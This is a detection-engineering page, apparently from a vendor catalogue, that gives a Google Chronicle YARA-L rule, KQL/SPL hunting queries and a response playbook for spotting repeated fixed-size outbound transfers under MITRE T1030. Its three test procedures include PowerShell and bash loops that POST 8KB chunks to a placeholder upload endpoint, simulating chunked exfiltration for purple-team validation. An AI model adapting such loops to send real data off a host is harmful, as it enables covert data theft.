THREAT-Exfiltration-UniformSizeBeaconChunking Google Chronicle · YARA-L

Detect Uniform-Size Repeated Connections (Fixed-Size Chunk/Beacon Padding) in Google Chronicle

Adversaries and their implants frequently cap the amount of data sent per connection — either by splitting a large payload into fixed-size chunks (e.g., a 2048-byte send buffer in POSHSPY, 1500-byte chunks in OopsIE, a Cobalt Strike malleable C2 profile with a fixed max-size POST) or by padding beacon check-ins to a constant size to blend in with normal traffic. This produces a distinctive network-behavioral signature: many outbound connections from the same source to the same destination whose transferred-byte counts cluster tightly around one value, repeated far more often than legitimate bursty human- or application-driven traffic would produce. Rather than relying on endpoint visibility into the compression/scripting tool that performed the splitting (already covered by the base T1030 detection), this rule pivots purely on firewall/proxy flow volume — bucketing outbound byte counts and flagging source/destination pairs with repeated near-identical-size transfers within a short window, which is effective even against implants with no on-disk artifacts.

MITRE ATT&CK

Tactic
Exfiltration

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule threat_exfil_uniform_size_beacon_chunking {
  meta:
    author = "Argus Detection Engineering"
    description = "Detects repeated outbound connections of near-identical byte size to the same destination, indicating T1030 - Data Transfer Size Limits"
    mitre_attack_tactic = "Exfiltration"
    mitre_attack_technique = "T1030"
    severity = "MEDIUM"
    confidence = "MEDIUM"
    reference = "https://attack.mitre.org/techniques/T1030/"
    version = "1.0"
    created = "2026-07-20"

  events:
    $e.metadata.event_type = "NETWORK_CONNECTION"
    AND $e.network.direction = "OUTBOUND"
    AND $e.network.sent_bytes > 1024

  match:
    $e.target.ip, $e.principal.ip over 30m

  outcome:
    $transfer_count = count($e.metadata.id)
    $total_sent = sum($e.network.sent_bytes)

  condition:
    $e and $transfer_count >= 5
}
medium severity medium confidence

Chronicle YARA-L 2.0 rule grouping outbound network connection events by source/destination IP pair over a 30-minute window and flagging groups with 5 or more connections exceeding 1KB, as a candidate fixed-size chunk/beacon exfiltration pattern under T1030. Pair with a downstream size-uniformity check on sent_bytes for full fidelity.

Data Sources

Google Chronicle UDM (Unified Data Model)Chronicle Forwarder (firewall/NetFlow)

Required Tables

UDM NETWORK_CONNECTION events

False Positives & Tuning

  • Monitoring/heartbeat agents with regular fixed-size check-ins
  • Backup or cloud-sync agents uploading in fixed block sizes

Other platforms for THREAT-Exfiltration-UniformSizeBeaconChunking

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Fixed-Size Chunked Beacon Upload (Windows)

    Expected signal: Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents showing 6 outbound connections from powershell.exe to the test endpoint roughly 30 seconds apart. If routed through a monitored proxy or firewall, CommonSecurityLog/pan:traffic records showing 6 sessions with SentBytes clustering at ~8192 bytes.

  2. Test 2Cron/Loop-Based Fixed-Size Chunk Exfiltration (Linux)

    Expected signal: Auditd or Sysmon-for-Linux process execution events for dd and curl repeated 6 times at ~30 second intervals. Firewall/proxy logs (CommonSecurityLog/pan:traffic) showing 6 sessions from the host with SentBytes at ~8192 bytes each.

  3. Test 3Fixed-Size File Chunk Upload Loop (macOS)

    Expected signal: Endpoint Security framework (ES) process-exec events for curl and head repeated 6 times, plus network connection events (es_event_type_notify_open/network extensions or a monitoring proxy) showing 6 sessions with ~8192-byte outbound payloads.

Last updated: 2026-07-20 Research depth: deep
References (4)

Response Playbook

Triage

  1. Review SampleSizes to confirm the transfers are genuinely near-identical in byte count (within a few bytes of each other) rather than a coincidental collision inside the 1KB bucket — true fixed-size implants are usually consistent to the byte.
  2. Determine whether DestinationIP/domain is known-good infrastructure (approved cloud storage, monitoring/APM vendor, CDN, load balancer health-check target) versus an unfamiliar or newly observed destination with no prior business relationship.
  3. Assess the cadence via AvgIntervalMinutes — a tight, mechanical interval (e.g., every 30s ± a few seconds) across many repeats is far more suspicious than organically bursty, human-driven traffic.
  4. Correlate SourceIP and the alert time window against DeviceProcessEvents/DeviceNetworkEvents InitiatingProcessFileName and InitiatingProcessCommandLine on the source host to identify which local process is generating the pattern.
  5. Check DestinationPort against expected application ports for any legitimate process identified — malleable C2 profiles frequently ride over 443/80 specifically to blend in with normal outbound web traffic.
  6. Check whether this network pattern coincides with recent file-system chunking artifacts (sequentially numbered archive parts, 7-Zip/Rclone volume-flag command lines) surfaced by the companion base T1030 detection — correlated file and network signals substantially raise confidence.

Containment

  1. Block the destination IP/domain at the perimeter firewall or proxy once the pattern is confirmed malicious and not a known-good service.
  2. Isolate the source host via EDR network isolation if a malicious local process is identified as the origin of the uniform-size transfers.
  3. Rotate credentials and revoke active sessions for any account associated with the source host if credential compromise is suspected.
  4. Preserve the firewall/proxy flow records and any local process/network telemetry for the full observed window before any remediation that could reset counters or rotate logs.

Evidence Collection

  1. Full-packet capture (if available) for the source-destination pair during the alert window, to inspect payload structure and confirm padding/fixed-size chunking versus legitimate protocol framing.
  2. Firewall/proxy flow logs for the complete session history between the source and destination, including total session count, cumulative bytes, and any TLS SNI/JA3 fingerprint data.
  3. Process creation and network connection logs (Sysmon Event ID 1 and 3, or DeviceProcessEvents/DeviceNetworkEvents) on the source host for the process initiating the connections.
  4. DNS resolution history for the destination domain (if applicable) — first-seen date, resolving IPs over time, and registrar/WHOIS data to assess infrastructure age and reputation.
  5. Any local staged/archived data on the source host that could indicate the content being chunked for exfiltration (see companion T1030 evidence collection for file-based artifacts).

Escalation Criteria

  • !The destination IP/domain matches known or suspected C2 infrastructure, or was registered/first-observed very recently relative to the alert.
  • !SampleSizes match a known malware family's fixed buffer size (e.g., 1500 bytes for OopsIE, 2048 bytes for POSHSPY, 102400 bytes for RDAT) rather than a generic round number typical of legitimate chunk-upload tooling.
  • !The uniform-size connection pattern persists across a host reboot or user logoff/logon, indicating a persistent implant rather than a one-off manual transfer.
  • !The same size-bucket/destination pattern appears across multiple hosts within a short period, suggesting a shared C2 profile or coordinated campaign rather than an isolated incident.
  • !The pattern is corroborated by file-based chunking artifacts (sequential archive parts, compression tool volume flags) from the companion base T1030 detection, indicating a full end-to-end exfiltration chain.

Investigation Guide

Related Techniques

T1030 — Data Transfer Size Limits (parent technique; this detection is the network-behavioral pivot complementing the base file/process-based signals)T1001 — Data Obfuscation (malleable C2 profiles that pad or fix message sizes to evade both size and content-based detection)T1001.003 — Protocol Impersonation (fixed-size, protocol-mimicking beacons designed to blend with normal application traffic)T1071.001 — Web Protocols (the HTTP/HTTPS channel over which uniform-size chunks or beacons are commonly transmitted)T1041 — Exfiltration Over C2 Channel (size-limited chunks are frequently sent over the same channel as command and control)T1048 — Exfiltration Over Alternative Protocol (a separate, size-capped channel used specifically for bulk data movement)T1029 — Scheduled Transfer (uniform-size transfers are often also time-gated to further reduce their visibility)T1560 — Archive Collected Data (data is typically archived/split into fixed-size volumes locally before being transmitted as uniform-size network chunks)

Forensic Artifacts

  • >Firewall/proxy flow logs (CommonSecurityLog, NetFlow/IPFIX, pan:traffic, cisco:asa) — the primary evidence source for this detection, containing per-session byte counts, ports, and timestamps
  • >Full-packet capture, where available, to directly inspect payload padding or chunk boundaries and confirm the size-limiting mechanism
  • >Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents — process-to-connection attribution on the source host
  • >TLS/JA3 or JA3S fingerprints associated with the destination, useful for pivoting to other hosts beaconing to the same C2 infrastructure with the same client-hello fingerprint
  • >DNS query logs for the destination domain, to establish first-seen time and resolution history

Tuning Guidance

The dominant false-positive source is legitimate infrastructure that inherently sends fixed-size payloads: monitoring/APM heartbeats, VOIP/streaming sessions, API polling clients, and backup/cloud-sync agents using fixed block sizes. Run the 30-day baseline hunting query first to inventory every source/destination/size-bucket combination with a high natural transfer count, and suppress or allow-list those pairs explicitly rather than raising the global MinRepeats threshold (which would blind the rule to lower-volume, low-and-slow exfiltration). Favor correlating this network signal with the base T1030 detection's file/process signals or with destination reputation (newly registered domains, non-corporate cloud storage) before paging on-call — a uniform-size pattern alone, without either corroborating signal, is common enough in normal enterprise traffic that it should default to a lower-priority queue for periodic analyst review rather than a page.

Hunting Queries

30-day baseline hunt for hosts with a very high volume (20+) of transfers landing in the same 1KB size bucket, to build an inventory of known-legitimate fixed-size senders (monitoring agents, backup tools, API clients) that should be added to the detection's suppression list before enabling live alerting.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where SentBytes > 1024
| extend SizeBucket = bin(SentBytes, 1024)
| summarize TransferCount = count(), Destinations = make_set(DestinationIP, 5) by SourceIP, SizeBucket
| where TransferCount >= 20
| sort by TransferCount desc
Hunting — SPL
spl 
index=firewall (sourcetype="pan:traffic" OR sourcetype="cisco:asa")
| where bytes_out > 1024
| bin bytes_out span=1024 as SizeBucket
| stats count as TransferCount, values(dest_ip) as Destinations by src_ip, SizeBucket
| where TransferCount >= 20
| sort - TransferCount

Hunt for newly appearing uniform-size transfer patterns (first observed within the last 3 days) to catch a freshly deployed implant or newly configured exfiltration job before it accumulates enough history to stand out in a long-window baseline.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where SentBytes > 1024
| extend SizeBucket = bin(SentBytes, 1024)
| summarize TransferCount = count(), FirstSeen = min(TimeGenerated) by SourceIP, DestinationIP, SizeBucket
| where TransferCount >= 5
| where FirstSeen > ago(3d)
| sort by FirstSeen desc
Hunting — SPL
spl 
index=firewall (sourcetype="pan:traffic" OR sourcetype="cisco:asa")
| where bytes_out > 1024
| bin bytes_out span=1024 as SizeBucket
| stats count as TransferCount, earliest(_time) as FirstSeen by src_ip, dest_ip, SizeBucket
| where TransferCount >= 5 AND FirstSeen > relative_time(now(), "-3d")
| sort - FirstSeen

Atomic Red Team Tests

Test 1 Simulate Fixed-Size Chunked Beacon Upload (Windows)
windows

Repeatedly POSTs a fixed 8KB random payload to a purple-team-controlled test endpoint at a regular interval, simulating an implant with a fixed send-buffer size or a padded beacon check-in.

Command

powershell 
powershell.exe -Command "1..6 | ForEach-Object { $data=[byte[]]::new(8192); (New-Object Random).NextBytes($data); Invoke-WebRequest -Uri https://your-test-endpoint.example/upload -Method POST -Body $data -ErrorAction SilentlyContinue; Start-Sleep -Seconds 30 }"

Cleanup

powershell 
N/A — the test only performs outbound HTTP POST requests to a purple-team-controlled test endpoint; no local artifacts are created.

Expected Telemetry

Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents showing 6 outbound connections from powershell.exe to the test endpoint roughly 30 seconds apart. If routed through a monitored proxy or firewall, CommonSecurityLog/pan:traffic records showing 6 sessions with SentBytes clustering at ~8192 bytes.

Expected Detection

KQL/SPL: the uniform-size rule's SizeBucket aggregation groups the 6 sessions into a single ~8192-byte bucket for the source/destination/port triple, meeting the MinRepeats >= 5 threshold and firing with TransferCount = 6 and SampleSizes clustered tightly around 8192.

Test 2 Cron/Loop-Based Fixed-Size Chunk Exfiltration (Linux)
linux

Uses a shell loop with dd and curl to repeatedly POST an 8KB block of random data to a test endpoint, replicating a Linux implant or script that caps each transfer to a fixed size.

Command

bash 
bash -c "for i in {1..6}; do dd if=/dev/urandom bs=8K count=1 2>/dev/null | curl -s -X POST --data-binary @- https://your-test-endpoint.example/upload; sleep 30; done"

Cleanup

bash 
N/A — no local artifacts are created; the test only generates outbound HTTP POST traffic.

Expected Telemetry

Auditd or Sysmon-for-Linux process execution events for dd and curl repeated 6 times at ~30 second intervals. Firewall/proxy logs (CommonSecurityLog/pan:traffic) showing 6 sessions from the host with SentBytes at ~8192 bytes each.

Expected Detection

KQL/SPL: the same size-bucket aggregation fires once 6 transfers land in the ~8192-byte bucket for the source/destination pair, exceeding the MinRepeats threshold of 5.

Test 3 Fixed-Size File Chunk Upload Loop (macOS)
macos

Generates an 8KB file of random data and repeatedly uploads it via curl to a test endpoint, simulating a macOS-based implant or exfiltration script that transmits collected data in constant-size chunks.

Command

bash 
bash -c "for i in {1..6}; do head -c 8192 /dev/urandom > /tmp/df00tech_chunk_test.bin; curl -s -X POST --data-binary @/tmp/df00tech_chunk_test.bin https://your-test-endpoint.example/upload; sleep 30; done"

Cleanup

bash 
rm -f /tmp/df00tech_chunk_test.bin

Expected Telemetry

Endpoint Security framework (ES) process-exec events for curl and head repeated 6 times, plus network connection events (es_event_type_notify_open/network extensions or a monitoring proxy) showing 6 sessions with ~8192-byte outbound payloads.

Expected Detection

KQL/SPL: firewall/proxy flow logs for the 6 sessions land in the same ~8192-byte SizeBucket for the source/destination pair, meeting the MinRepeats >= 5 threshold and firing the detection.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1030Data Transfer Size Limits

Related Techniques

T1030Data Transfer Size LimitsT1001Data ObfuscationT1001.003Protocol or Service ImpersonationT1071.001Web ProtocolsT1041Exfiltration Over C2 ChannelT1048Exfiltration Over Alternative ProtocolT1029Scheduled TransferT1560Archive Collected Data

Same Tactic: Exfiltration

Popular Detections